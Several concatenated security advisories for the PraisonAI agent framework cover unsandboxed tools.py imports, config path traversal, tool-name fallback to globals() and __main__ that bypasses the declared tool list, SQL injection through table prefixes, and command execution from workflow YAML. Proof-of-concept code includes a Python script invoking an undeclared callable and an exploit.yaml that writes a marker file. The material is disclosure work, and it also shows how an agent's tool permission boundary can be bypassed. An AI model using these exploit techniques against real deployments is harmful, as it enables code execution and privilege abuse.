PraisonAI (pip package praisonaiagents) before 1.6.78 contains an unsafe dynamic module loading vulnerability in AgentFlow.resolvepydanticclass (src/praisonai-agents/praisonaiagents/workflows/workflows.py). When a workflow step uses a string outputpydantic reference, the framework locates and imports a sibling tools.py from the workflow file's directory via importlib execmodule without sandboxing, ignoring the PRAISONAIALLOWTOOLS environment variables. An attacker who controls a workflow file and its sibling tools.py can execute arbitrary Python code with the workflow runner's privileges when the workflow is executed via WorkflowManager or after loadyaml.

PraisonAI (pip package praisonaiagents) before 1.6.78 automatically loads defaults from a project-local .praisonai/config.toml when constructing an Agent, and does not validate the defaults.output.outputfile path. A repository-controlled config file can set outputfile to an absolute or '..' traversal path; when the developer subsequently calls agent.start() without explicitly passing an output parameter, PraisonAI writes the agent response to that path (creating parent directories as needed), allowing an untrusted checked-out project to overwrite files outside the project root with the privileges of the user running PraisonAI.

Summary praisonaiagents resolves unresolved tool names against module globals and main after it fails to match the declared tool list and the registry. With the default agent configuration, permallow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.

Details The vulnerable resolution path is in [toolexecution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/toolexecution.py:734). After searching declared tools and the registry, execution falls back to globals() and then main:

python func = None for tool in self.tools if isinstance(self.tools, (list, tuple)) else []: ...

if func is None: try: from ..tools.registry import getregistry registry = getregistry() func = registry.get(functionname) except ImportError: pass

if func is None: func = globals().get(functionname) if not func: import main func = getattr(main, functionname, None)

If a callable is found, it is executed directly:

python elif callable(func): castedarguments = self.castarguments(func, arguments) return func(castedarguments)

The permission gate does not enforce a declared-tool allowlist by default. In [toolexecution.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/toolexecution.py:550), execution is only rejected if permallow is non-None:

python if self.permdeny and functionname in self.permdeny: return {"error": f"Tool '{functionname}' blocked by permission policy", "permissiondenied": True} if self.permallow is not None and functionname not in self.permallow: return {"error": f"Tool '{functionname}' not in allowed tools list", "permissiondenied": True}

Default agent initialization sets permallow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):

python self.permdeny = frozenset() # Permission tier deny set (empty = no denials) self.permallow = None # Permission tier allow set (None = allow all)

The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:

- [testpermissions.py](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/testpermissions.py:56) asserts that a default Agent has permallow is None. - testpermissions.py explicitly checks that agent.checktoolapprovalsync("mycustomtool", {}) passes for an undeclared tool name.

Empirical verification:

I verified the bypass locally on commit d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in main, giving the agent an empty tools list, and invoking executetool() with that undeclared name. The tool executor ran the main function anyway.

PoC Environment - Repo: MervinPraison/PraisonAI - Commit: d8a8a786915dc67a7c3021e24f72458f2eac5d9c - Verified against PyPI package versions available on May 3, 2026: - praisonaiagents 1.6.35 - PraisonAI 4.6.35 - Python 3

Steps 1. From the repository root, run:

bash python3 - <<'PY' import sys from unittest.mock import MagicMock, patch

sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents') from praisonaiagents.agent.toolexecution import ToolExecutionMixin

def sneaky(msg='ok'): return {'ran': msg}

class HookRunner: def executesync(self, args, kwargs): return [] def isblocked(self, results): return False

class Dummy(ToolExecutionMixin): def init(self): self.name = 'demo' self.tools = [] self.chathistory = [] self.hookrunner = HookRunner() self.contextmanager = None self.doomlooptracker = None self.permdeny = frozenset() self.permallow = None self.approvalbackend = None

mockregistry = MagicMock() mockregistry.approvesync.returnvalue = MagicMock(approved=True, reason='mock', modifiedargs=None) mockregistry.markapproved = MagicMock()

with patch('praisonaiagents.approval.getapprovalregistry', returnvalue=mockregistry): agent = Dummy() print(agent.executetool('sneaky', {'msg': 'hello'})) print(mockregistry.approvesync.callargs) PY

Expected output text {'ran': 'hello'} call('demo', 'sneaky', {'msg': 'hello'})

The important point is that sneaky was never declared in self.tools and was only present in main.

Impact - Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools. - Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to globals() and main. - Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.

PraisonAI is a multi-agent teams system. Prior to praisonai version 4.6.9 and praisonaiagents version 1.6.9, the fix for CVE-2026-40315 added input validation to SQLiteConversationStore only. Nine sibling backends — MySQL, PostgreSQL, async SQLite/MySQL/PostgreSQL, Turso, SingleStore, Supabase, SurrealDB — pass tableprefix straight into f-string SQL. Same root cause, same code pattern, same exploitation. 52 unvalidated injection points across the codebase. postgres.py additionally accepts an unvalidated schema parameter used directly in DDL. This issue has been patched in praisonai version 4.6.9 and praisonaiagents version 1.6.9.

praisonai workflow run <file.yaml> loads untrusted YAML and if type: job executes steps through JobWorkflowExecutor in jobworkflow.py.

This supports: - run: → shell command execution via subprocess.run() - script: → inline Python execution via exec() - python: → arbitrary Python script execution

A malicious YAML file can execute arbitrary host commands.

Affected Code - workflow.py → actionrun() - jobworkflow.py → execshell(), execinlinepython(), execpythonscript()

PoC Create exploit.yaml:

yaml type: job name: exploit steps: - name: write-file run: python -c "open('pwned.txt','w').write('owned')"

Run:

bash praisonai workflow run exploit.yaml

Reproduction Steps 1. Save the YAML above as exploit.yaml. 2. Execute praisonai workflow run exploit.yaml. 3. Confirm pwned.txt appears in the working directory.

Impact Remote or local attacker-supplied workflow YAML can execute arbitrary host commands and code, enabling full system compromise in CI or shared deployment contexts.

Reporter: Lakshmikanthan K (letchupkt)